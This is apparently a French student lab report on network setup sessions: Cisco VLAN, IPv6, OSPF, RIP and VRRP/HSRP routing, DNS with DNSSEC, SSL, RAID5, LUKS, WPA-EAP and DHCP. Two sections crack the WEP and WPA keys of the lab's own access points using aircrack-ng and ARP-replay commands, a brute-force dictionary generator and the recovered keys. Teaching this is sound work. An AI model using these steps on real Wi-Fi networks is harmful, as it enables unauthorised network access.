Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 5e séance====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 6e séance (additionnel) ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : 
<pre>#NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost>
<Directory /var/www/www.speedflash.space>
Require all granted
</Directory>
ServerName "speedflash.space"</pre>
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL): 
<pre>Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

#<IfModule mod_gnutls.c>
# Listen 443
#</IfModule>

#<IfModule mod_ssl.c>
# Listen 443
#NameVirtualHost *:443
#</IfModule></pre>
Il faut activer le module SSL de Apache : <pre> a2enmod ssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 
[[Fichier:SSLSite.png]]

=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
On ajoute le DNSSEC à Gandi : 
[[Fichier:Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé. 
====Travail réalisé la 7e séance====
=====Création du RAID5=====
On ajoute premièrement les partitions à la définition de la machine virtuelle: 
<pre>'phy:/dev/virtual/RedFlash,xvdb,w',
'phy:/dev/virtual/BlackFlash,xvdc,w',
'phy:/dev/virtual/ReverseFlash,xvdd,w'</pre>
Ensuite, on crée le RAID5 avec les 3 partitions : 
<pre>mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd</pre>
On vérifie en regardant le fichier de log /proc/mdstat : 
<pre>root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=============>.......] recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===============>.....] recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[================>....] recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=================>...] recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[==================>..] recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec

unused devices: <none>
root@Flash:~# [ 1462.872022] md: md0: recovery done.
cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]</pre>
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: 
<pre>root@Flash:~# mkfs /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 523776 4k blocks and 131072 inodes
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Allocating group tables: done
Writing inode tables: done
Writing superblocks and filesystem accounting information: done

root@Flash:~# mount /dev/md0 /mnt
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)
</pre>

=====Cryptage de données=====
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted. 
Ensuite, on commence le cryptage des données sur la carte SD: 
<pre>root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1

WARNING!
========
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.

Are you sure? (Type uppercase yes): YES
Saisissez la phrase secrète : ***************
Vérifiez la phrase secrète : ***************</pre>

Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ : 
<pre>root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home
Saisissez la phrase secrète pour /dev/mmcblk1p1 :
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home
mke2fs 1.42.12 (29-Aug-2014)
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879
Superblocs de secours stockés sur les blocs :
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocation des tables de groupe : complété
Écriture des tables d'i-noeuds : complété
Création du journal (32768 blocs) : complété
Écriture des superblocs et de l'information de comptabilité du système de
fichiers : complété</pre>
On monte la partition : 
<pre>root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/</pre>
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: 
<pre>
root@Rason:/# umount /mnt
root@Rason:/# cryptsetup luksClose home</pre>
====Travail réalisé la 8e séance====
=====Modification routeur pour prise en charge Wifi=====
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. 
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN. 
=====Sécurisation Wifi par WPA-EAP=====
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM. 
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : 
<pre> flash Cleartext-Password:="reverse"</pre>
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 : 
<pre> client E306 {
ipaddr = 10.60.1.2
secret = password
}</pre>
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : 
<pre>aaa authentication login eap_flash group radius_flash
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc
aaa group server radius radius_flash
server 193.48.57.165 auth-port 1812 acct-port 1813

dot11 ssid SSID_FLASH
vlan 6
authentication open eap eap_flash
authentication network-eap eap_flash
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 6 mode ciphers aes-ccm tkip
ssid SSID_FLASH

interface Dot11Radio0.6
encapsulation dot1Q 6
no ip route-cache
bridge-group 6
bridge-group 6 subscriber-loop-control
bridge-group 6 spanning-disabled
bridge-group 6 block-unknown-source
no bridge-group 6 source-learning
no bridge-group 6 unicast-flooding

interface GigabitEthernet0.6
encapsulation dot1Q 6
bridge-group 6
</pre>

Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN : 
<pre>auto wlan0
iface wlan0 inet static
address 10.60.6.6
netmask 255.255.255.0
gateway 10.60.6.1
wpa-ssid SSID_FLASH
wpa-key-mgmt WPA-EAP
wpa-identity flash
wpa-password reverse</pre>
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. 
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle . 
<pre>root@Flash:~# ping 10.60.6.6
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms</pre> 
====Travail réalisé la 9e séance====
=====Serveur DHCP=====
Nous avons installé le paquet '''isc-dhcp-server'''. 
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''': 
<pre>option domain-name "speedflash.space";
option domain-name-servers 193.48.57.165;

subnet 10.60.6.0 netmask 255.255.255.0 {
range 10.60.6.10 10.60.6.40;
option routers 10.60.6.1;
}
</pre>

Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''. 
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : 
[[Fichier:DHCP iphone.png || center || 350px]] 
et nous arrivons à la pinger depuis la machine virtuelle. 
